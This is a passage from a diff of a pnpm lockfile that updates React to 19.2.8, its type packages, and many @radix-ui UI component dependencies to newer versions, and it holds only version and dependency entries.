+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-escape-keydown': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-dismissable-layer@1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-dismissable-layer@1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-effect-event': 0.0.3(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-effect-event': 0.0.5(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-dropdown-menu@2.1.21(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-dropdown-menu@2.1.24(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-menu': 2.1.21(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-menu': 2.1.24(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-focus-guards@1.1.3(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-focus-guards@1.1.3(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-focus-guards@1.1.4(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-focus-guards@1.1.4(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-focus-scope@1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-focus-guards@1.1.6(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-focus-scope@1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-focus-scope@1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-focus-scope@1.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-focus-scope@1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-form@0.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-focus-scope@1.1.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-label': 2.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-hover-card@1.1.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-form@0.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-label': 2.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-icons@1.3.2(react@19.2.7)':
+  '@radix-ui/react-hover-card@1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      react: 19.2.7
-
-  '@radix-ui/react-id@1.1.1(@types/react@19.2.17)(react@19.2.7)':
-    dependencies:
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-id@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-icons@1.3.2(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      react: 19.2.8
+
+  '@radix-ui/react-id@1.1.1(@types/react@19.2.18)(react@19.2.8)':
+    dependencies:
+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-label@2.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-id@1.1.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-menu@2.1.21(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-id@1.1.4(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-focus-scope': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+    optionalDependencies:
+      '@types/react': 19.2.18
+
+  '@radix-ui/react-label@2.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
+    dependencies:
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+    optionalDependencies:
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
+
+  '@radix-ui/react-menu@2.1.24(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
+    dependencies:
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-focus-guards': 1.1.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-focus-scope': 1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
       aria-hidden: 1.2.6
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-remove-scroll: 2.7.2(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-menubar@1.1.21(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-menubar@1.1.24(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-menu': 2.1.21(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-menu': 2.1.24(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-navigation-menu@1.2.19(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-navigation-menu@1.2.22(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-previous': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-visually-hidden': 1.2.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-previous': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-visually-hidden': 1.2.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
